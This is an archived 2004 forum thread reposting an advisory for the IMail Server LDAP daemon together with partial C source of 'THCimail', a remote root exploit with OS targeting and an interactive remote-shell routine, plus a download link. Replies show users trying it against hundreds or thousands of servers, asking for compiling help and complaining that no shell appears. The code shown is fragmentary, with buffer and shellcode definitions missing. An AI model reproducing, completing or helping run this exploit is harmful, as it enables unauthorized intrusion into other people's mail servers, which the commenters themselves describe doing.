Vulnerable Systems: * LDAP daemon (iLDAP.exe ver. 3.9.15.10) shipping with IMail Server version 8.03 * LDAP daemon shipping with IMail Server version 7.xx and 6.xx
Immune Systems: * IMail Server version 8.05 Hotfix 2
Exploit: The exploit code is also available from: http://www.thc.org/misc/sploits/THCimail.zip
/*****************************************************************************/ /* THCimail 0.1 - Wind0wZ remote root exploit */ /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */ /* THC PUBLIC SOURCE MATERIALS */ /* */ /* */ /* compile with MS Visual C++ : cl THCimail.c */ /* */ /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ /* scut, stealth, FtR and Random */ /*****************************************************************************/
int main(int argc, char *argv[]) { unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER; unsigned char *finalbuffer,*crapbuf1,*crapbuf2; unsigned int IMAIL6_7=60; unsigned int IMAIL_8=68;
os = (unsigned short)atoi(argv[2]); switch(os) { case 0: strcat(finalbuffer,WIN2KPG); break; case 1: strcat(finalbuffer,WIN2KPG); break; case 2: strcat(finalbuffer,WINXPSP1G); break; default: printf("\nYou entered an illegal OS !\n\n"); usage(); exit(-1); }
void usage() { unsigned int a; printf("\nUsage: <Host> <OS> <Imail Version>\n"); printf("Sample: THCimail 194.44.55.56 0 1\n\n"); printf("OS:\n"); printf("0 - Windows 2000 Server english all service packs\n"); printf("1 - Windows 2000 Professional german\n"); printf("2 - Windows XP SP1 german\n\n"); printf("Imail Version:\n"); printf("0 - Imail 6+7\n"); printf("1 - Imail 8\n"); exit(0); }
void shell(int sock) { int l; char buf[1024]; struct timeval time; unsigned long ul[2];
time.tv_sec = 1; time.tv_usec = 0;
while (1) { ul[0] = 1; ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time); if(l == 1) { l = recv (sock, buf, sizeof (buf), 0); if (l <= 0) { printf ("bye bye...\n"); return; } l = write (1, buf, l); if (l <= 0) { printf ("bye bye...\n"); return; } } else { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("bye bye...\n"); return; } l = send(sock, buf, l, 0); if (l <= 0) { printf("bye bye...\n"); return; } } } }
Maybe this one is better
Blade
Feb 28 2004, 07:39 AM
looking nice
usch
Feb 28 2004, 08:08 AM
get some errors with compiling.could anybody do this for me ? i `d be grateful
stonebreaker
Feb 28 2004, 08:46 AM
is it work if the os is chinese edition? few days ago i have use others exploit of imail but they didn't work
MxMx
Feb 28 2004, 09:16 AM
damn .. this exploit doesnt work .. ive tried it on 12 imail servers .. 6.* to 8.05 .. but NO shell at all
Flapdrol
Feb 28 2004, 11:15 AM
So what are the improvements? No nfo on that in the source itself... Can U tell us?
Losti
Feb 28 2004, 01:47 PM
I Tryed 1000s of IMail Servers, still no shell :-(((
Thom
Feb 28 2004, 03:12 PM
I got shitload of errors when trying to compile? though i am a noob on compiling. Tried Visual Studio and lcc...
linuxwolf
Feb 28 2004, 04:35 PM
You should try some other compilers thom, bcc ( borland command line compiler ) and maybe check if you have all the header files that the program needs. =)
o0TiTAN0o
Feb 28 2004, 08:42 PM
Hmm, i've compiled it with MS Visual Studio.
I test the exploit on over 400 Servers and No Exploit Anywhone get a shell with this exploit?
Gr€€tZ, TiTAN
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.